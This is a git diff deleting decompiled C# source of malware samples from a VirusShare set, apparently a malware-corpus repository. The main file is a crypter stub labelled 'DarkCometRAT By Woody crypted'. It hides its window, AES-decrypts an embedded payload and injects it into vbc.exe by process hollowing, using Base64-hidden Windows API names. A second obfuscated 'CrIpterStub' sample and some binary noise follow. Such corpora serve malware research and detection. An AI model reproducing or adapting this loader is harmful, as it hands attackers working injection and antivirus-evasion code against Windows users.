C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/MyProject.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/MyProject.cs deleted file mode 100644 index 6716807f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: DarkCometRAT By Woody crypted, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3F71572C-D491-46DB-83BE-2910DD358446 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/Program/Main.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/Program/Main.cs deleted file mode 100644 index 66e7e663..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/Program/Main.cs +++ /dev/null @@ -1,236 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Program.Main -// Assembly: DarkCometRAT By Woody crypted, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3F71572C-D491-46DB-83BE-2910DD358446 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Windows.Forms; - -namespace Program -{ - public class Main : Form - { - private IContainer Components; - - [STAThread] - public static void Main() => Application.Run((Form) new Program.Main()); - - public Main() - { - this.Load += new EventHandler(this.Main_Load); - Application.EnableVisualStyles(); - this.InitializeComponent(); - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(1, 1); - this.Opacity = 0.0; - this.ShowInTaskbar = false; - this.Name = nameof (Main); - this.Text = nameof (Main); - this.ResumeLayout(false); - this.PerformLayout(); - } - - protected override void Dispose(bool Disposing) - { - if (Disposing && this.Components != null) - this.Components.Dispose(); - base.Dispose(Disposing); - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - } - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string name); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetProcAddress(IntPtr handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string name); - - public T qmbCySaFgF3QdbZfQ3f(string name, string method) => (T) Marshal.GetDelegateForFunctionPointer(Program.Main.GetProcAddress(Program.Main.LoadLibraryA(ref name), ref method), typeof (T)); - - public bool qPlSspDxuvlKZtMdLI5H(byte[] qNBbU4pyYLsqEEtxsgB, string qyTXNawV4AASwOaE8C5tj) - { - Program.Main.qeRGrPG6FO6sNxC1A2Nt rgrPg6Fo6sNxC1A2Nt = this.qmbCySaFgF3QdbZfQ3f(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("Q3JlYXRlUHJvY2Vzc0E="))); - Program.Main.qnoqD6OCdUr6pbBRYB4 qnoqD6OcdUr6pbBryB4 = this.qmbCySaFgF3QdbZfQ3f(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("R2V0VGhyZWFkQ29udGV4dA=="))); - Program.Main.qeqwAQwTLag2kzc1pf qeqwAqwTlag2kzc1pf = this.qmbCySaFgF3QdbZfQ3f(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVhZFByb2Nlc3NNZW1vcnk="))); - Program.Main.qCHU691iadVICUdTjNN u691iadVicUdTjNn = this.qmbCySaFgF3QdbZfQ3f(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("VmlydHVhbEFsbG9jRXg="))); - Program.Main.qyjVouAVNRcoDrVPv qyjVouAvnRcoDrVpv = this.qmbCySaFgF3QdbZfQ3f(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("V3JpdGVQcm9jZXNzTWVtb3J5"))); - Program.Main.qDQPdIGhXPEgba2kk dqPdIghXpEgba2kk = this.qmbCySaFgF3QdbZfQ3f(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("U2V0VGhyZWFkQ29udGV4dA=="))); - Program.Main.qCzqpRjBKsbJGCBUezGZ czqpRjBksbJgcbUezGz = this.qmbCySaFgF3QdbZfQ3f(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVzdW1lVGhyZWFk"))); - Program.Main.qI3gkn6v5InqjRMbB i3gkn6v5InqjRmbB = this.qmbCySaFgF3QdbZfQ3f(Encoding.UTF8.GetString(Convert.FromBase64String("bnRkbGw=")), Encoding.UTF8.GetString(Convert.FromBase64String("WndVbm1hcFZpZXdPZlNlY3Rpb24="))); - bool flag; - try - { - IntPtr zero1 = IntPtr.Zero; - IntPtr[] qbJTLHORDTYnKbVMJoa = new IntPtr[4]; - byte[] qhkXStrCpm2qZ32t7J = new byte[68]; - int int32_1 = BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, 60); - int int16 = (int) BitConverter.ToInt16(qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 6)); - IntPtr qrSyJq1jfoCUtXZym24 = new IntPtr(BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 84))); - if (rgrPg6Fo6sNxC1A2Nt((string) null, new StringBuilder(qyTXNawV4AASwOaE8C5tj), zero1, zero1, false, 4, zero1, (string) null, qhkXStrCpm2qZ32t7J, qbJTLHORDTYnKbVMJoa)) - { - uint[] numArray1 = new uint[179]; - numArray1[0] = 65538U; - if (qnoqD6OcdUr6pbBryB4(qbJTLHORDTYnKbVMJoa[1], numArray1)) - { - IntPtr qjzv48ZZdYcJYAaWhJTb1 = new IntPtr(checked ((long) numArray1[41] + 8L)); - IntPtr zero2 = IntPtr.Zero; - IntPtr qT1mOUpEYR7NLzOGjEJ = new IntPtr(4); - IntPtr zero3 = IntPtr.Zero; - if (qeqwAqwTlag2kzc1pf(qbJTLHORDTYnKbVMJoa[0], qjzv48ZZdYcJYAaWhJTb1, ref zero2, (int) qT1mOUpEYR7NLzOGjEJ, ref zero3) && i3gkn6v5InqjRmbB(qbJTLHORDTYnKbVMJoa[0], zero2) == 0U) - { - IntPtr num1 = new IntPtr(BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 52))); - IntPtr num2 = new IntPtr(BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 80))); - IntPtr qHvTGYnmxKeylCh5fT5uI = u691iadVicUdTjNn(qbJTLHORDTYnKbVMJoa[0], num1, num2, 12288, 64); - int int32_2 = qHvTGYnmxKeylCh5fT5uI.ToInt32(); - int qM9i6M2sRLy8WVcOT16; - int num3 = qyjVouAvnRcoDrVpv(qbJTLHORDTYnKbVMJoa[0], qHvTGYnmxKeylCh5fT5uI, qNBbU4pyYLsqEEtxsgB, checked ((uint) (int) qrSyJq1jfoCUtXZym24), qM9i6M2sRLy8WVcOT16) ? 1 : 0; - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst = new int[10]; - Buffer.BlockCopy((Array) qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 248 + num5 * 40), (Array) dst, 0, 40); - byte[] numArray2 = new byte[checked (dst[4] - 1 + 1)]; - Buffer.BlockCopy((Array) qNBbU4pyYLsqEEtxsgB, dst[5], (Array) numArray2, 0, numArray2.Length); - num2 = new IntPtr(checked (int32_2 + dst[3])); - num1 = new IntPtr(numArray2.Length); - int num6 = qyjVouAvnRcoDrVpv(qbJTLHORDTYnKbVMJoa[0], num2, numArray2, checked ((uint) (int) num1), qM9i6M2sRLy8WVcOT16) ? 1 : 0; - checked { ++num5; } - } - num2 = new IntPtr(checked ((long) numArray1[41] + 8L)); - num1 = new IntPtr(4); - int num7 = qyjVouAvnRcoDrVpv(qbJTLHORDTYnKbVMJoa[0], num2, BitConverter.GetBytes(qHvTGYnmxKeylCh5fT5uI.ToInt32()), checked ((uint) (int) num1), qM9i6M2sRLy8WVcOT16) ? 1 : 0; - numArray1[44] = checked ((uint) (qHvTGYnmxKeylCh5fT5uI.ToInt32() + BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, int32_1 + 40))); - int num8 = dqPdIghXpEgba2kk(qbJTLHORDTYnKbVMJoa[1], numArray1) ? 1 : 0; - } - } - int num = (int) czqpRjBksbJgcbUezGz(qbJTLHORDTYnKbVMJoa[1]); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - goto label_11; - } - flag = true; -label_11: - return flag; - } - - private void Main_Load(object sender, EventArgs e) - { - RuntimeHelpers.GetObjectValue(My.Resources.Resources.ResourceManager.GetObject("glavni")); - this.qPlSspDxuvlKZtMdLI5H(this.q14MA2HFozsRlbG58L(My.Resources.Resources.glavni), Encoding.UTF8.GetString(Convert.FromBase64String("QzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29ya1x2Mi4wLjUwNzI3XHZiYy5leGU="))); - this.Close(); - } - - public byte[] q14MA2HFozsRlbG58L(byte[] qNl84JvwbqNKw4jJmV) - { - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.IV = new byte[16] - { - (byte) 9, - (byte) 250, - (byte) 129, - (byte) 35, - (byte) 196, - (byte) 143, - (byte) 210, - (byte) 122, - (byte) 213, - (byte) 4, - (byte) 141, - (byte) 47, - (byte) 82, - (byte) 54, - (byte) 124, - (byte) 86 - }; - rijndaelManaged.Key = new byte[16] - { - (byte) 86, - (byte) 124, - (byte) 54, - (byte) 82, - (byte) 47, - (byte) 141, - (byte) 4, - (byte) 213, - (byte) 122, - (byte) 210, - (byte) 143, - (byte) 196, - (byte) 35, - (byte) 129, - (byte) 250, - (byte) 9 - }; - return rijndaelManaged.CreateDecryptor().TransformFinalBlock(qNl84JvwbqNKw4jJmV, 0, qNl84JvwbqNKw4jJmV.Length); - } - } - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool qeRGrPG6FO6sNxC1A2Nt( - string qJ4vL92xJyzmEBdgnsn, - StringBuilder qsba7IfHDHQOZONQbHS, - IntPtr qSQpNyYduvV5Hly5h, - IntPtr qU6NZyhFhXPMDbBOC, - [MarshalAs(UnmanagedType.Bool)] bool qCtwO1dxilNXXhsFP, - int qMLVFlsTOOacE88c3j, - IntPtr qMfOHLRbqm3TTbdru8M, - string qnE3Uqle9Fx1n19FBcKa9, - byte[] qhkXStrCpm2qZ32t7J, - IntPtr[] qbJTLHORDTYnKbVMJoa); - - public delegate bool qyjVouAVNRcoDrVPv( - IntPtr qyjcy6E7wYyarEr9w91r, - IntPtr qHvTGYnmxKeylCh5fT5uI, - byte[] qjTPa3nkn2aiBe66XJP, - uint qrSyJq1jfoCUtXZym24, - int qM9i6M2sRLy8WVcOT16); - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool qeqwAQwTLag2kzc1pf( - IntPtr qUVaMfFhfiyix4qaEfP, - IntPtr qjzv48ZZdYcJYAaWhJTb1, - ref IntPtr qKmzQjxi1xsDIrinp2dyJ, - int qT1mOUpEYR7NLzOGjEJ, - ref IntPtr qncmptdUrezBlraWd); - - public delegate IntPtr qCHU691iadVICUdTjNN( - IntPtr qyZXtgWsPwjydDkNUuUNU, - IntPtr qz9nSuWkMNHjhjkts6ZVb, - IntPtr qhzjkH5IjNxUPegZcE, - int q93LsAe6c9XcpwwoE, - int q4oymULPqxYHgrONRbBRS); - - public delegate uint qI3gkn6v5InqjRMbB( - IntPtr qFoWGTfKAGvsIrg9I3SO, - IntPtr qCRHftU7DfXnGw1TFMowb); - - public delegate uint qCzqpRjBKsbJGCBUezGZ(IntPtr qH2YaFuMgVN7OL2mTik); - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool qnoqD6OCdUr6pbBRYB4(IntPtr q45ghMgWM37iOMFoV, uint[] qVZSdiWIwXKTdGdL3N); - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool qDQPdIGhXPEgba2kk(IntPtr qzKcv9umGGGCIFvuA, uint[] q7wYhO4jvPTldbB62vu); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/Resources/Resources.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/Resources/Resources.cs deleted file mode 100644 index 681f841e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/Resources/Resources.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.Resources.Resources -// Assembly: DarkCometRAT By Woody crypted, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3F71572C-D491-46DB-83BE-2910DD358446 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace My.Resources -{ - [HideModuleName] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] - [DebuggerNonUserCode] - [StandardModule] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) My.Resources.Resources.resourceMan, (object) null)) - My.Resources.Resources.resourceMan = new ResourceManager("myfking", typeof (My.Resources.Resources).Assembly); - return My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => My.Resources.Resources.resourceCulture; - set => My.Resources.Resources.resourceCulture = value; - } - - internal static byte[] glavni => (byte[]) RuntimeHelpers.GetObjectValue(My.Resources.Resources.ResourceManager.GetObject(nameof (glavni), My.Resources.Resources.resourceCulture)); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/Trojan.MSIL.Crypt.bhma.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/Trojan.MSIL.Crypt.bhma.csproj deleted file mode 100644 index de3bc751..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/Trojan.MSIL.Crypt.bhma.csproj +++ /dev/null @@ -1,50 +0,0 @@ - - - - - Debug - AnyCPU - {6EA43F36-F1CB-47A6-BE41-C5274E442200} - WinExe - DarkCometRAT By Woody crypted - 0.0.0.0 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/Trojan.MSIL.Crypt.bhma.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/Trojan.MSIL.Crypt.bhma.sln deleted file mode 100644 index 1969fe16..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/Trojan.MSIL.Crypt.bhma.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DarkCometRAT By Woody crypted", "Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.csproj", "{6EA43F36-F1CB-47A6-BE41-C5274E442200}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6EA43F36-F1CB-47A6-BE41-C5274E442200}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - 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C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe - -using \u0032Enr58LioYwyemMtXQ; -using System; -using System.Collections.Generic; -using System.Reflection; -using System.Resources; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Threading; -using w4HscHkVC8kusVwrdY; - -namespace \u0032Enr58LioYwyemMtXQ -{ - internal class CIf5Tfy7x4aAASu1I7 : IDisposable - { - private string[] SLLKh68TN; - private CIf5Tfy7x4aAASu1I7.JRd3aG0bVecAXLqUuq lXXRyJxDc; - private ResourceManager g5GX0IeHD; - - [MethodImpl(MethodImplOptions.NoInlining)] - public CIf5Tfy7x4aAASu1I7([In] string[] obj0) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public byte[] \u0037V662slap([In] string obj0) => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - private byte[] pOvqx9di1([In] byte[] obj0) => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - private void QchSdo05e() - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public int Bq6xxF3Iu() => 0; - - [MethodImpl(MethodImplOptions.NoInlining)] - private Assembly \u00368lLkZbCs([In] object obj0, [In] ResolveEventArgs obj1) => (Assembly) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - private void Xly1kQcMJ([In] object obj0, [In] UnhandledExceptionEventArgs obj1) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private void JTG8p4O48([In] object obj0, [In] ThreadExceptionEventArgs obj1) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public void Dispose() - { - } - - static CIf5Tfy7x4aAASu1I7() => GeQKoeh9BTa5jMZgSa.duwLblChk(); - - private class JRd3aG0bVecAXLqUuq - { - private bool yt8lpkObe; - private Dictionary \u0036eDEI2B1F; - private string Bch3JDYWk; - private bool Rshf50na5; - private DateTime k74OoHyPj; - private bool WNU40tBCh; - private string oeay0HGTH; - private string bE9wsnvsX; - - [SpecialName] - [MethodImpl(MethodImplOptions.NoInlining)] - public bool \u0037V662slap() => true; - - [SpecialName] - [MethodImpl(MethodImplOptions.NoInlining)] - public void pOvqx9di1([In] bool obj0) - { - } - - [SpecialName] - [MethodImpl(MethodImplOptions.NoInlining)] - public Dictionary Bq6xxF3Iu() => (Dictionary) null; - - [SpecialName] - [MethodImpl(MethodImplOptions.NoInlining)] - public void \u00368lLkZbCs(Dictionary value) - { - } - - [SpecialName] - [MethodImpl(MethodImplOptions.NoInlining)] - public string JTG8p4O48() => (string) null; - - [SpecialName] - [MethodImpl(MethodImplOptions.NoInlining)] - public void SLLKh68TN([In] string obj0) - { - } - - [SpecialName] - [MethodImpl(MethodImplOptions.NoInlining)] - public bool g5GX0IeHD() => true; - - [SpecialName] - [MethodImpl(MethodImplOptions.NoInlining)] - public void \u0037pM0wx9oX([In] bool obj0) - { - } - - [SpecialName] - [MethodImpl(MethodImplOptions.NoInlining)] - public DateTime yuiCStSd4() => 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a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/6aUUGEwoy4IPkuhQ9T/rLi63w14TdP7cfZClg.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/6aUUGEwoy4IPkuhQ9T/rLi63w14TdP7cfZClg.cs deleted file mode 100644 index c3b4ab2a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/6aUUGEwoy4IPkuhQ9T/rLi63w14TdP7cfZClg.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: 6aUUGEwoy4IPkuhQ9T.rLi63w14TdP7cfZClg -// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E7482193-993A-4E14-A111-60CAB09B5D25 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe - -using System; -using System.Collections.Specialized; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using w4HscHkVC8kusVwrdY; - -namespace \u0036aUUGEwoy4IPkuhQ9T -{ - internal class rLi63w14TdP7cfZClg - { - private string P6Wt3riVR; - private string duwLblChk; - private Exception osqYU8eYW; - - [MethodImpl(MethodImplOptions.NoInlining)] - public rLi63w14TdP7cfZClg([In] string obj0, [In] string obj1, [In] Exception obj2) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public void \u0038V86rIGjo() - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private NameValueCollection B5PqZKD3x() => (NameValueCollection) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - private string GV0SDAE8F([In] string obj0, [In] string obj1) => (string) null; - - static rLi63w14TdP7cfZClg() => GeQKoeh9BTa5jMZgSa.duwLblChk(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/74c5ecfc-c3a1-442d-a137-d9cf1a7ae167 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z=pbAhpz%&{6wxwqx>XuO;*QnKg8r@A6*~5ZpD-RQ$jI{??~~fV(Ry3|Z-c zr)RZ#-a(-ASM%F()cE&c=Q_|L%veVpe3-3%8il3YJ|$N+?}SK}Gm10J)ls;)O)!@+ z6CkAo4dT52;1#^u9Hf~vG^8}NAidpY_q+31*o@>)bSyDP?ix#N2w39<2!(}XxF>(9 ztS$A{rke@{vmNPP%GHb(^nH203@a)?Gr;V!M5+TbU!KCkyaZ)FN+dEzRsPAV+Q&w3 zyO0Zps@$A1hp_g(Fm(qcSjm!$I#@8Wjx3VBkOCCN%F+h)b=VvJD=xW$D{bg}7S2jX zqnAC%v6SeMD7?@qGTlS~b%YZmS!DN GCq7{%x70BJ diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/AssemblyInfo.cs deleted file mode 100644 index 852c5f6d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/AssemblyInfo.cs +++ /dev/null @@ -1,17 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: AssemblyConfiguration("")] -[assembly: SuppressIldasm] -[assembly: AssemblyDelaySign(false)] -[assembly: AssemblyKeyName("")] -[assembly: ComVisible(false)] -[assembly: AssemblyCopyright(" ")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyProduct("CrIpterStub")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyTitle("CrIpterStub")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyDescription("CrIpterStub")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/HDguCTSKZp1F5uk7B2/CmcPEFq8EUo2sAUg3P.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/HDguCTSKZp1F5uk7B2/CmcPEFq8EUo2sAUg3P.cs deleted file mode 100644 index b0c2b7ea..00000000 --- 